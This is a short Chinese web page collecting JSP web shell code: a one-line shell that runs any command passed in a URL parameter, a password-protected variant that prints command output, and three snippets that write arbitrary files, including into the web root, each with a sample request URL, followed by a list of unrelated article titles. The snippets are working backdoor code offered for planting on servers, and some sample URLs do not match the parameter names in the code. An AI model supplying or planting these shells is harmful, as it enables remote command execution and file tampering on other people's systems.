一、无回显的命令执行(命令执行后不会在前端页面返回数据)

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

请求url:http://127.0.0.1/shell.jsp?i=whoami


二、有回显带密码的命令执行(命令执行后会在前端返回数据)

<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

请求url:http://127.0.0.1/shell.jsp?pwd=admin&cmd=calc


三、文件写入(改写目标服务器里的文件,若文件不存在则创建)

1、ISO-8859-1输入:

new java.io.FileOutputStream(request.getParameter("file")).write(request.getParameter("content").getBytes());

请求url:http://127.0.0.1/input.jsp?file=root/test.txt&content=test


2、UTF-8输入:

new java.io.FileOutputStream(request.getParameter("file")).write(new String(request.getParameter("content").getBytes("ISO-8859-1"), "UTF-8").getBytes());

请求url:http://127.0.0.1/input.jsp?file=root/test.txt&content=test


3、Web目录写入;

new java.io.FileOutputStream(application.getRealPath("/") + "/" + request.getParameter("filename")).write(request.getParameter("content").getBytes());

请求url:http://127.0.0.1/input.jsp?file=test.txt&content=test


最新文章

  1. 基于Linux的WebSphere性能调优与故障诊断
  2. 零件分组_DP
  3. bzoj2424 [HAOI2010]订货
  4. hdu 2844 多重背包coins
  5. 《c程序设计语言》读书笔记--每行一个单词打印输入的字符,除去空符
  6. Yii2 CSRF
  7. 【转】解决Cannot change version of project facet Dynamic web module to 2.5
  8. Lucene自定义扩展QueryParser
  9. Java中一些常用的代码
  10. 基于ARM的车牌识别技术研究与实现
  11. 《Redis入门指南》第2版 读书笔记
  12. LOJ #2058「TJOI / HEOI2016」求和
  13. 总结sql中in和as的用法
  14. windows下局域网文件共享,不需要登录账号密码
  15. 20150401 作业2 结对 四则运算ver 1.0
  16. Hive数据类型及文本文件数据编码
  17. C# 字符串的操作
  18. 使用ajax异步上传文件或图片(配合php)
  19. html_parser
  20. hdu4059The Boss on Mars 容斥原理

热门文章

  1. ROS基本程序实现
  2. Java实现http大文件流读取并批量插入数据库
  3. Ubuntu,CenOS等Linux系统更改环境变量方法,以安装anaconda为例
  4. JavaScript之创建八个对象过520
  5. ExtJS自定义按钮颜色
  6. Javaer 面试必背系列!超高频八股之三色标记法
  7. Spring框架 - Spring和Spring框架组成
  8. 文件上传漏洞靶场分析 UPLOAD_LABS
  9. 快速保存Win10锁屏壁纸,收获美丽瞬间
  10. jenkins结合ansible发布